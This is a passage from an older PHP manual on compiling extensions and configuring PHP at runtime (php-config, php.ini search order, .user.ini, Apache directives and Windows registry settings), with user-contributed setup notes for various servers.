In my case, I had a standard PHP distribution installed, and am evaluating Zend Core / Zend Platform, which installed it's own Apache & PHP in a /usr/local/Zend/.. install path.  It was missing the json.so module, so I had to compile my own.

Running Zend Core's phpize, the output indicates that configuration for that module will occur.  But when running ./configure, the standard installation's include files are used.  The result json.so being compiled against the wrong PHP would not load when Zend Core's php initializes.

The only way I could see to correct the situation was to temporarily change the standard PHP include path to point to the Zend Core's include files.  In my case, I made a backup copy of /usr/include/php5 and did a "ln -s /usr/local/Zend/Core/include/php/ /usr/include/php5".
dmytton at php dot net 03-Dec-2005 08:45
In some situations (e.g. on a cPanel server), the built extension will not be placed into the correct extensions directory by the make install process. Use your phpinfo() output to determine what the correct extension_dir path is and move the generated .so file into that directory. The extension=extname.so line in php.ini will then find the extension file correctly.


php-config

php-config is a simple shell script for obtaining information about the installed PHP configuration.

When compiling extensions, if you have multiple PHP versions installed, you may specify for which installation you'd like to build by using the --with-php-config option during configuration, specifying the path of the respective php-config script.

The list of command line options provided by the php-config script can be queried anytime by running php-config with the -h switch:

Usage: /usr/local/bin/php-config [OPTION]
Options:
  --prefix            [...]
  --includes          [...]
  --ldflags           [...]
  --libs              [...]
  --extension-dir     [...]
  --include-dir       [...]
  --php-binary        [...]
  --php-sapis         [...]
  --configure-options [...]
  --version           [...]
  --vernum            [...]

Command line options
Option | Description
--prefix | Directory prefix where PHP is installed, e.g. /usr/local
--includes | List of -I options with all include files
--ldflags | LD Flags which PHP was compiled with
--libs | Extra libraries which PHP was compiled with
--extension-dir | Directory where extensions are searched by default
--include-dir | Directory prefix where header files are installed by default
--php-binary | Full path to php CLI or CGI binary
--php-sapis | Show all SAPI modules available
--configure-options | Configure options to recreate configuration of current PHP installation
--version | PHP version
--vernum | PHP version as integer

User Contributed Notes

There are no user contributed notes for this page.


Compiling PECL extensions statically into PHP

You might find that you need to build a PECL extension statically into your PHP binary. To do this, you'll need to place the extension source under the /your/phpsrcdir/ext/ directory and tell the PHP build system to regenerate its configure script.

$ cd /your/phpsrcdir/ext
$ pecl download extname
$ gzip -d < extname.tgz | tar -xvf -
$ mv extname-x.x.x extname

This will result in the following directory:

/your/phpsrcdir/ext/extname

From here, force PHP to rebuild the configure script, and then build PHP as normal:

$ cd /your/phpsrcdir
$ rm configure
$ ./buildconf --force
$ ./configure --help
$ ./configure --with-extname --enable-someotherext --with-foobar
$ make
$ make install

Note: To run the 'buildconf' script you need autoconf 2.13 and automake 1.4+ (newer versions of autoconf may work, but are not supported).

Whether --enable-extname or --with-extname is used depends on the extension. Typically an extension that does not require external libraries uses --enable. To be sure, run the following after buildconf:

$ ./configure --help | grep extname

User Contributed Notes

anthon at piwik dot org 15-Aug-2012 11:20
Some extensions cannot be statically linked (e.g., xdebug).


Problems?

Table of Contents

  • Read the FAQ
  • Other problems
  • Bug reports

User Contributed Notes

hvozda at ack dot org 31-Oct-2006 12:49
When using --with-gd, jpeg support is *not* enabled by default even if the libs and headers are in /usr/lib and /usr/include.  Yet, if they are missing, GD will not build.

Oddly, examine the output from configure will show that libjpeg was actuly found and tested.

This happens with v4.4.4 of php on these platforms: RHEL v2.1, RHEL v3, CentOS v2.1 or CentOS v4.3.

On those platforms, it's *important* that --with-jpeg-dir be *before* --with-gd.  If it's not, GD won't build with jpeg support as if --with-jpeg-dir had never been specified.

It's also a "feechure" that gd_info() doesn't list jpeg support if it wasn't built with it.  However, if it is built with it, it will list it as "enabled" of course :-/


Read the FAQ

Some problems are more common than others. The most common ones are listed in the PHP FAQ, part of this manual.

User Contributed Notes

There are no user contributed notes for this page.


Other problems

If you are still stuck, someone on the PHP installation mailing list may be able to help you. You should check out the archive first, in case someone already answered someone else who had the same problem as you. The archives are available from the support page on » http://www.php.net/support.php. To subscribe to the PHP installation mailing list, send an empty mail to » php-install-subscribe@lists.php.net. The mailing list address is » php-install@lists.php.net.

If you want to get help on the mailing list, please try to be precise and give the necessary details about your environment (which operating system, what PHP version, what web server, if you are running PHP as CGI or a server module, safe mode, etc.), and preferably enough code to make others able to reproduce and test your problem.

User Contributed Notes

There are no user contributed notes for this page.


Bug reports

If you think you have found a bug in PHP, please report it. The PHP developers probably don't know about it, and unless you report it, chances are it won't be fixed. You can report bugs using the bug-tracking system at » http://bugs.php.net/. Please do not send bug reports in mailing list or personal letters. The bug system is also suitable to submit feature requests.

Read the » How to report a bug document before submitting any bug reports!

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

Table of Contents

  • The configuration file
  • .user.ini files
  • Where a configuration setting may be set
  • How to change configuration settings

User Contributed Notes

goran 17-Sep-2013 07:30
To run separate apache and php processes on centos (at least) without
having to compile and install separate versions for every instance
this should work:

Install apache and php with yum.

This will give you (for the first instance):

/etc/httpd/*, /etc/sysconfig/httpd, /etc/init.d/httpd, /etc/php.ini
and /etc/php.d/*.

Copy all this stuff to:
/etc/httpd2/*, /etc/sysconfig/httpd2, /etc/init.d/httpd2,  /etc/php2.ini
and /etc/php2.d/*.

Then:

Edit the apache config files in /etc/httpd2/* to reflect the new
ports you want to have this apache listen on (don't forget ssl.conf
under conf.d) and any other differing settings, like log file
destinations and virtualhosts.

Edit the php2.ini for any specific settings you want the other php
instance to have.

To have a completely separate php in this new apache instance with its own
modules included, edit /etc/sysconfig/httpd2 and add the following:

PHPRC=/etc/php2.ini
export PHPRC
PHP_INI_SCAN_DIR=/etc/php2.d
export PHP_INI_SCAN_DIR

This will set the environment variables for the second apache/php
instance before it is started.

Then edit /etc/init.d/httpd2 and change all references to httpd
(like lockfile, pidfile and sysconfig) to httpd2. Don't touch the
executable name, though :)

And change this:

LANG=$HTTPD_LANG daemon --pidfile=${pidfile} $httpd $OPTIONS

to this:

LANG=$HTTPD_LANG daemon --pidfile=${pidfile} $httpd -f /etc/httpd2/conf/httpd.conf $OPTIONS

.. so this apache can find its own configuration file.

Then, if necessary 'chkconfig --add /etc/init.d/httpd2' to have it
in startup and you should have two apache instances with two separate
php modules with their own dedicated settings.
salivatears at gmail dot com 01-Dec-2010 04:18
For windows with limited file permission (Windows XP)

1. Install Apache in your folder profile "C:\Documents and Settings\your_profile"

2. Add the following directives to you httpd.conf
PHPINIDir "C:\Documents and Settings\your_profile\php"

LoadModule php5_module "C:\Documents and Settings\your_profile\php\php5apache2_2.dll"

AddType application/x-httpd-php .php

3. Edit the following directive to you php.ini
extension_dir = "C:\Documents and Settings\your_profile\php\ext"

4. Move the file libmysql.dll from C:\Documents and Settings\your_profile\php\ to C:\Documents and Settings\your_profile\php\ext\

5. Restart httpd using command line
georgeATdlouhyDOTinfo 24-Oct-2008 07:10
PHP 5.2.6 & Apache 2.2
----------------------
If you tried everything above and you server is not executing php script, look in php.ini at value:

short_open_tag = Off
;it does not recognise '<?', only '<? php' or '<script>'

Some editors come with '<?' as default, like mine did. After two days I finally found out...
php at chrismonster dot com 27-Jul-2008 07:33
w2k, apache 1.3.29, php 5.2.6: c:\php\php.ini was not found until the environment variable PHPRC was set to "c:\php", even though php was used as a module, not CGI.

just adding c:\php to the path was not adequate.

phpinfo() still shows "Configuration File (php.ini) Path" to be C:\WINNT, but "Loaded Configuration File" now correctly displays "C:\php\php.ini".

initially the problem appeared to be simply that the mysql extension was not loading; in fact, the problem was more fundamental (php.ini not found) but because php will still work with defaults, this was not obvious.
Anonymous 06-Feb-2008 11:03
Hello,

Having tried EVERYTHING on every php / mysql site to get php5.2.5 to talk to mysql server 5.0 (including all php.ini settings, all dlls, and many more ...)

Please try this: set Apache2.2 service Startup Type to MANUAL.  If not, it does not see to reload php.ini, no matter how many times you stop and start.

After 2 days, I finally see mysql info for <?php phpinfo(); ?>

Hope this helps!!
DK
jaw at jawspeak dot com - Jonathan Andrew Wolte 26-Jun-2007 02:01
Be sure to use double quotes in the php.ini file. For instance:

(lines broken for readability)

this will work:
# xdebug debugging
zend_extension="/usr/local/php5/lib/php/extensions
/no-debug-non-zts-20060613/xdebug.so"

this won't:
# xdebug debugging
zend_extension='/usr/local/php5/lib/php/extensions
/no-debug-non-zts-20060613/xdebug.so'

You'll get this error:
Failed loading '/usr/local/php5/lib/php/extensions/
no-debug-non-zts-20060613/xdebug.so':  (null)

So... double quotes are the way! I know this is obvious, but it's a good thing to remember for the php.ini file.
alvaro at demogracia dot com 16-Jun-2007 02:01
About Apache 2.0 module:

For whatever reason, the Windows installer for PHP/5.2.3 tries to set the PHPIniDir directive using "\\" as directory separator:

PHPIniDir "C:\\Archivos de programa\\PHP\\"

It didn't work for me until I edited httpd.conf and replaced it with "/":

PHPIniDir "C:/Archivos de programa/PHP/"
henrick at streamsec dot se 01-Apr-2007 02:07
In order to get PHP 5.2 stable running on Windows Server 2003 x64 (IIS 6.0), I discovered three things (in addition to the other comments above):

* Some PHP web applications make use of the SCRIPT_NAME server variable which is not available under CGI. You have to use php5isapi.dll, which is a 32 bit dll, so you have to run IIS in 32 bit mode. Confer http://support.microsoft.com/kb/894435. This applies to all ISAPI extensions and not just ASP.NET.

* It appears you must leave the doc_root entry in php.ini blank. At least, that is what finally made my installation work. (Note that others have suggested to set it to e.g. C:\inetpub\wwwroot or equivalent. That won't work if your server hosts more than one domain, each placed in a separate directory.)

* If you are e.g. using MySQL you will have to edit php.ini. In order for it to be found, you must set the PHPRC system environment variable or the registry entry. Note that if you edit the registry using regedit.exe, the PHP key should be placed under the [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node] key. This happens automatically if you set it using a 32 bit legacy application.
gprochnow AT PINT DOT COM 29-Mar-2007 09:19
Run php 4 and php 5.2.x on the same machine with IIS 6.0 as ISAPI.

1. Extract the ZIP packages of both php 4 & php 5 (not the Windows Installer) to c:\php4 & c:\php5 respectively

2. Setup the corresponding php.ini files in c:\php4 and c:\php5

3. Add the Web Service Extensions for php4 and php5. For php4 use c:\php4\sapi\php4isapi.dll, php5 use c:\php5\php5isapi.dll

4. Add the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\5\IniFilePath -> c:\php5

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath -> c:\php4

5. Add c:\php4 to the PATH environment variable.

6. Associate each web site in IIS with the corresponding php version.

7. Reboot

Note: That should work, test with phpinfo() in each site. You may need to refer to the php documentation if we missed any other settings.
cduke420 at gmail dot com 08-Jan-2007 07:16
[ When php run as Apache Module ]
DOCUMENT_ROOT .htaccess
+======================================+
SetEnv PHPRC /home/user/dir-containing-phpinifile
+======================================+

[ When php run as CGI ]
Place your php.ini file in the dir of your cgi'd php binary, in this case /cgi-bin/
DOCUMENT_ROOT .htaccess
+======================================+
AddHandler php-cgi .php .htm
Action php-cgi /cgi-bin/php5.cgi
+======================================+

[ PHP run as cgi with wrapper (for FastCGI) ]
Your wrapper script should look something like:
+======================================+
#!/bin/sh
export PHP_FCGI_CHILDREN=3
exec /user/htdocs/cgi-bin/php.cgi -c /home/user/php.ini
+======================================+

original article:
http://www.askapache.com/2007/php/custom-phpini-tips-and-tricks.html
Alonso 18-Nov-2006 01:21
Setting php.ini location for PHP working as Apache module (without use SetEnv directive in httpd.conf):

Before start Apache, set the PHPRC environment variable to the path where php.ini should be loaded, for example:

    PHPRC=/etc/php4/apache-another-path
    export PHPRC

In Debian we can do this way:

    In /etc/init.d/apache (the script that loads apache web server) we have this line:

    ENV="env -i LANG=C PATH=/bin:/usr/bin:/usr/local/bin"

    Set to this:

    ENV="env -i LANG=C PATH=/bin:/usr/bin:/usr/local/bin PHPRC=/etc/php4/apache-another-path"

Then wen you reload apache the php.ini will be loaded in the directory configured in PHPRC environment variable.
c dot affolter at stepping-stone dot ch 13-Mar-2006 02:38
For those people who want to use the PHPRC environment variable:
You have to specify the path to the directory containing your php.ini, not the direct path to the php.ini.

Example (php.ini resides in /your/path/php.ini):
right:
export PHPRC=/your/path

wrong:
export PHPRC=/your/path/php.ini
randy AT rcs-comp DOT com 26-May-2005 09:47
(copied from another page)
Please note that the SetEnv PHPRC "directory/to/phpini/" only works when using PHP as CGI, but _not_ when you use the PHP Apache Module!
Jorrit Schippers 26-May-2004 01:33
For IIS users: If you experience high parsetimes, try to set output_buffering to On. IIS has problems with scripts outputting many small pieces of text, and with output_buffering = On, PHP sends the whole page to IIS in one piece.


The configuration file

The configuration file (php.ini) is read when PHP starts up. For the server module versions of PHP, this happens only once when the web server is started. For the CGI and CLI versions, it happens on every invocation.

php.ini is searched for in these locations (in order):

  • SAPI module specific location (PHPIniDir directive in Apache 2, -c command line option in CGI and CLI, php_ini parameter in NSAPI, PHP_INI_PATH environment variable in THTTPD)
  • The PHPRC environment variable. Before PHP 5.2.0, this was checked after the registry key mentioned below.
  • As of PHP 5.2.0, the location of the php.ini file can be set for different versions of PHP. The following registry keys are examined in order: [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x.y.z], [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x.y] and [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x], where x, y and z mean the PHP major, minor and release versions. If there is a value for IniFilePath in any of these keys, the first one found will be used as the location of the php.ini (Windows only).
  • [HKEY_LOCAL_MACHINE\SOFTWARE\PHP], value of IniFilePath (Windows only).
  • Current working directory (except CLI).
  • The web server's directory (for SAPI modules), or directory of PHP (otherwise in Windows).
  • Windows directory (C:\windows or C:\winnt) (for Windows), or --with-config-file-path compile time option.

If php-SAPI.ini exists (where SAPI is the SAPI in use, so, for example, php-cli.ini or php-apache.ini), it is used instead of php.ini. The SAPI name can be determined with php_sapi_name().

Note:

The Apache web server changes the directory to root at startup, causing PHP to attempt to read php.ini from the root filesystem if it exists.

Using environment variables can be used in php.ini as shown below.

Example #1 php.ini Environment Variables

; PHP_MEMORY_LIMIT is taken from environment
memory_limit = ${PHP_MEMORY_LIMIT}

The php.ini directives handled by extensions are documented on the respective pages of the extensions themselves. A list of the core directives is available in the appendix. Not all PHP directives are necessarily documented in this manual: for a complete list of directives available in your PHP version, please read your well commented php.ini file. Alternatively, you may find » the latest php.ini from Git helpful too.

Example #2 php.ini example

; any text on a line after an unquoted semicolon (;) is ignored
[php] ; section markers (text within square brackets) are also ignored
; Boolean values can be set to either:
;    true, on, yes
; or false, off, no, none
register_globals = off
track_errors = yes

; you can enclose strings in double-quotes
include_path = ".:/usr/local/lib/php"

; backslashes are treated the same as any other character
include_path = ".;c:\php\lib"

Since PHP 5.1.0, it is possible to refer to existing .ini variables from within .ini files. Example: open_basedir = ${open_basedir} ":/new/dir".

User Contributed Notes

Nacho Esviza - ignacio at esviza dot com 25-Aug-2014 01:06
This solution works for me when I needed to force two diferent versions of PHP on a Windows Server 2012 r2 & IIS:

For one application, map *.php extension to a CgiModule adding the "-c" option to the executable path, like this: "C:\php53\php-cgi.exe -c C:\php53\php.ini"

For the other application, map *.php extension to a CgiModule adding the "-c" option to the executable path, like this: "C:\php54\php-cgi.exe -c C:\php54\php.ini"

I think that way is the cleanest, because there is no need to work with PATH variable or Registry or Windows directory.

Note: for some reason, this didn't work on FastCGI module, related to the way that IIS set the executable tab not allowing command line options.
pajoye at php dot net 06-Aug-2014 09:04
Also a nice feature is the ability to use PHP's contants:
For example:
extension_dir=""PHP_MAJOR_VERSION"."PHP_MINOR_VERSION"/ext"
emil at ncube dot ca 05-Nov-2013 08:19
Note that the CLI version of PHP does not appear to take into account any php.ini configuration file. As such, something like a max_execution_time limit setting you may think is being applied is actually not being used, and instead defaulting to 0 (which is unlimited).
Greg Robson 04-Jun-2013 08:18
If you are on Windows and the

php --ini

command is showing the path you do not want, check the PATH environment variable.

The command line was looking for php.ini in the folder where it found php.exe. In my case this meant it was looking in
c:\Program Files (x86)\php\5.2.6
and not
c:\PHP\5.4.7

Might easily be overlooked when adding new versions to your computer.


.user.ini files

Since PHP 5.3.0, PHP includes support for configuration INI files on a per-directory basis. These files are processed only by the CGI/FastCGI SAPI. This functionality obsoletes the PECL htscanner extension. If you are using Apache, use .htaccess files for the same effect.

In addition to the main php.ini file, PHP scans for INI files in each directory, starting with the directory of the requested PHP file, and working its way up to the current document root (as set in $_SERVER['DOCUMENT_ROOT']). In case the PHP file is outside the document root, only its directory is scanned.

Only INI settings with the modes PHP_INI_PERDIR and PHP_INI_USER will be recognized in .user.ini-style INI files.

Two new INI directives, user_ini.filename and user_ini.cache_ttl control the use of user INI files.

user_ini.filename sets the name of the file PHP looks for in each directory; if set to an empty string, PHP doesn't scan at all. The default is .user.ini.

user_ini.cache_ttl controls how often user INI files are re-read. The default is 300 seconds (5 minutes).

User Contributed Notes

Anteaus at thenox dot com 26-Jul-2014 05:48
"If you are using Apache, use .htaccess files for the same effect."

To clarify, this applies only to Apache module mode. If you put php directives in .htaccess on an Apache CGI/FastCGI server, this will bomb the server out with a 500 error. Thus, you unfortunately cannot create a config which caters for both types of hosting, at least not in any straightforward way.
philsward at gmail dot com 03-Apr-2013 03:45
If you have no idea what "PHP_INI_PERDIR" or "PHP_INI_USER" are or how they relate to setting a .user.ini file, take a look at the ini.list page: http://www.php.net/manual/en/ini.list.php

Basically, anything in the "Changeable" column labeled as PHP_INI_SYSTEM can't be set in the .user.ini file (so quit trying).  It can ONLY be set at the main php.ini level.
interfaSys 06-Jan-2011 07:12
This article should be made clearer.
".htaccess-style INI files" meant to me that the ini settings had to follow the syntax used in .htaccess, but this is not the case!

You have to use
register_globals=on
and not
php_flag register_globals on

Also, the changes can take a while to propagate to all processes if you have a long process time out.
Restarting php-fpm can give you an answer quicker :)


Where a configuration setting may be set

These modes determine when and where a PHP directive may or may not be set, and each directive within the manual refers to one of these modes. For example, some settings may be set within a PHP script using ini_set(), whereas others may require php.ini or httpd.conf.

For example, the output_buffering setting is PHP_INI_PERDIR therefore it may not be set using ini_set(). However, the display_errors directive is PHP_INI_ALL therefore it may be set anywhere, including with ini_set().

Definition of PHP_INI_* modes
Mode | Meaning
PHP_INI_USER | Entry can be set in user scripts (like with ini_set()) or in the Windows registry. Since PHP 5.3, entry can be set in .user.ini
PHP_INI_PERDIR | Entry can be set in php.ini, .htaccess, httpd.conf or .user.ini (since PHP 5.3)
PHP_INI_SYSTEM | Entry can be set in php.ini or httpd.conf
PHP_INI_ALL | Entry can be set anywhere

User Contributed Notes

mritunjay dot kumar at ballisticlearning dot com 10-Jan-2013 02:21
There are several Apache directives that allow you to change the PHP configuration from within the Apache configuration files. For a listing of which directives are PHP_INI_ALL, PHP_INI_PERDIR, or PHP_INI_SYSTEM.

Sets the value of the specified directive. Can be used only with PHP_INI_ALL and PHP_INI_PERDIR type directives. To clear a previously set value use none as the value.

A handy trick to pick up parse errors in test_file.php if you can't set display_errors in php.ini or use .htaccess:
<?php
error_reporting  (E_ALL);
ini_set ('display_errors', true);
include('./test_file.php');
?>


How to change configuration settings

Running PHP as an Apache module

When using PHP as an Apache module, you can also change the configuration settings using directives in Apache configuration files (e.g. httpd.conf) and .htaccess files. You will need "AllowOverride Options" or "AllowOverride All" privileges to do so.

There are several Apache directives that allow you to change the PHP configuration from within the Apache configuration files. For a listing of which directives are PHP_INI_ALL, PHP_INI_PERDIR, or PHP_INI_SYSTEM, have a look at the List of php.ini directives appendix.

php_value name value

Sets the value of the specified directive. Can be used only with PHP_INI_ALL and PHP_INI_PERDIR type directives. To clear a previously set value use none as the value.

Note: Don't use php_value to set boolean values. php_flag (see below) should be used instead.

php_flag name on|off

Used to set a boolean configuration directive. Can be used only with PHP_INI_ALL and PHP_INI_PERDIR type directives.

php_admin_value name value

Sets the value of the specified directive. This can not be used in .htaccess files. Any directive type set with php_admin_value can not be overridden by .htaccess or ini_set(). To clear a previously set value use none as the value.

php_admin_flag name on|off

Used to set a boolean configuration directive. This can not be used in .htaccess files. Any directive type set with php_admin_flag can not be overridden by .htaccess or ini_set().

Example #1 Apache configuration example

<IfModule mod_php5.c>
  php_value include_path ".:/usr/local/lib/php"
  php_admin_flag engine on
</IfModule>
<IfModule mod_php4.c>
  php_value include_path ".:/usr/local/lib/php"
  php_admin_flag engine on
</IfModule>

Caution

PHP constants do not exist outside of PHP. For example, in httpd.conf you can not use PHP constants such as E_ALL or E_NOTICE to set the error_reporting directive as they will have no meaning and will evaluate to 0. Use the associated bitmask values instead. These constants can be used in php.ini

Changing PHP configuration via the Windows registry

When running PHP on Windows, the configuration values can be modified on a per-directory basis using the Windows registry. The configuration values are stored in the registry key HKLM\SOFTWARE\PHP\Per Directory Values, in the sub-keys corresponding to the path names. For example, configuration values for the directory c:\inetpub\wwwroot would be stored in the key HKLM\SOFTWARE\PHP\Per Directory Values\c\inetpub\wwwroot. The settings for the directory would be active for any script running from this directory or any subdirectory of it. The values under the key should have the name of the PHP configuration directive and the string value. PHP constants in the values are not parsed. However, only configuration values changeable in PHP_INI_USER can be set this way, PHP_INI_PERDIR values can not.

Other interfaces to PHP

Regardless of how you run PHP, you can change certain values at runtime of your scripts through ini_set(). See the documentation on the ini_set() page for more information.

If you are interested in a complete list of configuration settings on your system with their current values, you can execute the phpinfo() function, and review the resulting page. You can also access the values of individual configuration directives at runtime using ini_get() or get_cfg_var().

User Contributed Notes

andy at ddtechnologies dot com 06-Mar-2014 05:31
Registry Key Handling Through PHP:

This is an ready to use code. You just need to copy this code into a PHP file.

//php Code starts from here......

//Reading the Registry

$Wshshell= new COM('WScript.Shell');
$data= $Wshshell->regRead('HKEY_LOCAL_MACHINE\SOFTWARE\7-Zip\path');
echo "Data is::".$data;

//Function for writing to the registry.

function registry_write($folder, $key, $value, $type="REG_SZ")
{
  $WshShell = new COM("WScript.Shell");

  $registry = "HKEY_LOCAL_MACHINE\\SOFTWARE\\" . $folder . "\\" . $key;
  try{
    $result = $WshShell->RegWrite($registry, $value, $type);
    echo "Entry is Successfully written at:".$registry;
    return($result);
  }
  catch(Exception $e){
    echo "Some Exception in Registry writing".$e;
  }

  return false;
}

// Function to deleting from the Register Entry.

function registry_delete($folder, $key, $value, $type="REG_SZ")
{
    $WshShell = new COM("Wscript.shell");
    $registry = "HKEY_LOCAL_MACHINE\\SOFTWARE\\" . $folder . "\\" . $key;
    try{
    $result = $WshShell->RegDelete($registry);
    echo $key." is Successfully deleted from HKEY_LOCAL_MACHINE\\SOFTWARE\\" . $folder ;
    return($result);
    }
    catch(Exception $e){
        echo "Some Exception with the code::".$e;
    }
    return false;

}

//Here 7-ZIP is taken as a example.

$folder = "7-ZIP";
$key = "Key_name";
$value = "Key_Value";

registry_write($folder,$key,$value);
//registry_delete($folder,$key,$value);
?>

...
-------------------------------------------------------------------------------------
http://herobot.net
ohcc at 163 dot com 22-Dec-2013 04:58
You will fail if you try to change configuration settings of PHP with   the php_value directive in Apache 2.4.
nick at vistaworks dot net 02-Aug-2012 12:42
On Windows, as the documentation above states, you cannot set max_upload_filesize and post_max_size in the registry, because they are PHP_INI_PERDIR.

Confusingly, however, is the fact that phpinfo() will show your changes if you do add those to the regsitry, as if they were taking effect. However, the upload size is *not* changed, regardless of what phpinfo() reports.

I believe the reading of registry values and override happen 'too late' in the request processing, ie, after the file has already been uploaded and rejected.

In a perfect world, phpinfo() would recognize this and not report the overridden values, which is very confusing.
Anonymous 04-Jan-2012 05:15
For Mac users (Leopard/Tiger/Lion) it's worth knowing exactly where your httpd.conf and php.ini ares picked up, but, out of the box, these are defined only in the compiler settings as defaults.

The httpd binary was compiled with default settings of
SERVER_CONFIG_FILE="/private/etc/apache2/httpd.conf"
meaning starting apache using apachectl picks up this httpd.conf without it being specified on the command line via the org.apache.httpd.plist file is /System/Library/LaunchDaemons.

Again, the default httpd.conf does not contain a PHPIniDir, and locates php.ini via libphp5.so in /etc - you would need to create one here (using one of the php.ini.default templates if you want).

It's worth changing the PHPIniDir setting in httpd.conf setting to eg.:

Configuration File     /usr/local/php5/lib/php.ini

so you know exactly which php.ini is being used at all times.

phpinfo() will then advise you that it's using this file.
user at NOSPAM dot example dot com 13-Sep-2011 08:16
PHP Constants will work with php_value; for example:

php_value error_reporting 30711 #bitmask is the same as
php_value error_reporting "E_ALL & ~E_STRICT & ~E_NOTICE" #string of constants
rohitkumar at cftechno dot com 29-Jun-2011 09:23
Open php.ini from c:/php in your text editor

If you installed Apache in the default location, the path should
be "C:\Program Files\Apache Software Foundation\Apache2.2\htdocs". If you installed
it elsewhere, find the htdocs folder and type its path:

doc_root = "C:\Program Files\Apache Software Foundation\Apache2.2\htdocs"

Just a little further down in the file, look for the line that begins with remove the semicolon from the start of the extension_
dir, and set it so that it points to the ext subfolder of your PHP folder:
extension_dir = "C:\PHP\ext"

These are optional extensions to PHP, disabled by default. We
want to enable the MySQL extension so that PHP can communicate with MySQL.
To do this, remove the semicolon from the start of the php_mysqli.dll line:
extension=php_mysqli.dll

note - php_mysqli, not php_mysql

Keep scrolling even further down in the file, and look for a line that starts with
;session.save_path. Once again, remove the semicolon to enable this line,
and set it to your Windows Temp folder:
session.save_path = "C:\Windows\Temp"

Browse to the conf subfolder in your Apache
installation folder (by default, C:\Program Files\Apache Software
Foundation\Apache2.2\conf), and select the httpd.conf file located there. In order
to make this file visible for selection, you’ll need to select All Files (*.*) from the
file type drop-down menu at the bottom of the Open window.
Look for the existing line in this file that begins with DirectoryIndex, shown
here:
<IfModule dir_module>
DirectoryIndex index.html
</IfModule>

This line tells Apache which filenames to use when it looks for the default page
for a given directory. Add index.php to the end of this line:
<IfModule dir_module>
DirectoryIndex index.html index.php
</IfModule>

All of the remaining options in this long and intimidating configuration file
should have been set up correctly by the Apache install program. All you need
to do is add the following lines to the very end of the file:

LoadModule php5_module "C:/PHP/php5apache2_2.dll"
AddType application/x-httpd-php .php
PHPIniDir "C:/PHP"

Make sure the LoadModule and PHPIniDir lines point to your PHP installation
directory, and note the use of forward slashes (/) instead of backslashes (\) in
the paths.

Save your changes and Restart Apache using the Apache Service Monitor system tray icon. If all is
well, Apache will start up again without complaint.
self at pabloviquez dot com 15-Jun-2009 03:07
Note that, changing the PHP configuration via the windows registry will set the new values using php_admin_value. This makes that you cannot override them on runtime.

So for example, if you set the include_path on the windows registry and then you call the set_include_path function in your application, it will return false and won't change the include_path.
cawoodm at gmail dot com 04-May-2009 04:41
With IIS it can become confusing that changes to php.ini are ineffective. It seems it is necessary to restart the application pool for the changes to be seen. It would be great if this was not necessary - I am sure I have worked with systems where php.ini changes were immediately effectvie.
ravi at syntric dot net 09-Mar-2009 07:52
Just a quick note regarding per-directory php settings. A number of flags can be set custom to a particular app's requirement based on one of two methods describe her http://www.cognitivecombine.com/?p=207

I particularly stumbled upon this to turn off register_globals. Drupal, for e.g., required this to be off but I knew of numerous php apps that had code which relied on these globals. The .htaccess method described in the above URL worked for my case.
hyponiq at gmail dot com 09-Feb-2009 06:11
Running PHP under Apache poses a major problem when it comes to per-directory configuration settings for PHP.  In Apache virtual hosting, only a master PHP configuration file (i.e. php.ini) is parsed at run-time per PHP script.  Under IIS 6.0 or greater, you can include per-directory PHP configuration files to override or overwrite the master configuration settings.  The issue here, however, is having Apache virtual hosts override/overwrite master settings; not what IIS can do.

So, there are two possible solutions.  The first solution is described in this section and uses the Apache configuration settings php_value, php_flag, php_admin_value, and php_admin_flag.  In that, each virtual host which you'd like to have certain configuration settings changed must have these directives set (and that is for each PHP configuration setting).  This, to me, is the more viable solution, although it is time-consuming and mentally taxing.

The other possible solution is to set the PHPRC environment variable.  To my knowledge, all implementations of Apache HTTPD allow for the SetEnv directive to set the PHPRC variable per-virtual-host.  What that does is tell PHP to look in the specified location for that virtual host's configuration settings file (i.e. "C:/path/to/custom/php.ini").  The only downside to this tactic is that EVERY virtual host's custom php.ini file must contain all set parameters.  In other words, every single PHP configuration directive you have set in the master php.ini file must ALSO be set in per-virtual-host configuration settings.  Doesn't that suck?  It seems rather redundant to me (and completely defeats the purpose) that you have to include all configuration settings OVER AND OVER AGAIN.

The great thing about per-directory configuration settings (when they're implemented correctly) is that PHP already has the master settings pre-loaded and the per-directory settings (which may only ammount to one directive in difference) can be loaded per request and, thus, there is less over-head.

There really is more to this topic than that, which is why I blogged a rather lengthy and detailed article here: http://hyponiq.blogspot.com/2009/02/apache-php-multiple-phpini.html  This information is meant to help users and administrators.  I highly suggest it be read if anyone has any questions on Apache and PHP configurations.  I have included some examples that illustrate the two possible solutions, as well.  I did my best to research everything before I wrote the article.

I hope this helps!

==== 10-FEB-09: ====
I must add a little more information:

I've done some thorough testing on my PC as to the PHPRC environment variable set by the Apache directive SetEnv.  It seems to me that this variable is completely disregarded using that directive.  I tried everything and can only come to the conclusion that either A) I did something very wrong, or B) that it simply doesn't work as expected.

The former solution, however, does work magically!  So, to expand on my previous post, the only real and viable solution to this problem is to use the php_value, php_flag, php_admin_value and php_admin_flag directives in your virtual hosts configurations.

Once again, it can be very boring!  But it does work.
contrees.du.reve at gmail dot com 02-Feb-2008 02:25
Being able to put php directives in httpd.conf and have them work on a per-directory or per-vitual host basis is just great. Now there's another aspect which might be worth being aware of:

A php.ini directive put into your apache conf file applies to php when it runs as an apache module (i.e. in a web page), but NOT when it runs as CLI (command-line interface).

Such feature that might be unwanted by an unhappy few, but I guess most will find it useful. As far as I'm concerned, I'm really happy that I can use open_basedir in my httpd.conf file, and it restricts the access of web users and sub-admins  of my domain, but it does NOT restrict my own command-line php scripts...
Woody/mC 09-Jul-2007 03:09
@ pgl: As the documentation says:

"To clear a previously set value use none as the value."

Works fine for me.
pgl at yoyo dot org 27-Jun-2007 12:59
It is not possible to unset a config option using php_value. This caused me problems with auto_prepend_file settings where I wanted to have a global file auto included, with an exception for only one site. The solution used to be to use auto_prepend_file /dev/null, but this now causes errors, so I just create and include blank.inc now instead.


Language Reference

  • Basic syntax
    • PHP tags
    • Escaping from HTML
    • Instruction separation
    • Comments
  • Types
    • Introduction
    • Booleans
    • Integers
    • Floating point numbers
    • Strings
    • Arrays
    • Objects
    • Resources
    • NULL
    • Callbacks
    • Pseudo-types and variables used in this documentation
